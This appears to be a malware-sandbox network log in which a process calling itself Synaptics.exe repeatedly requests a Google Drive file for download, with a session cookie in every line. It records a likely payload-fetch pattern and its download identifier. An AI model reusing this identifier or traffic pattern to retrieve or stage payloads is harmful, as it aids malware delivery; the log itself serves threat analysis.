Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
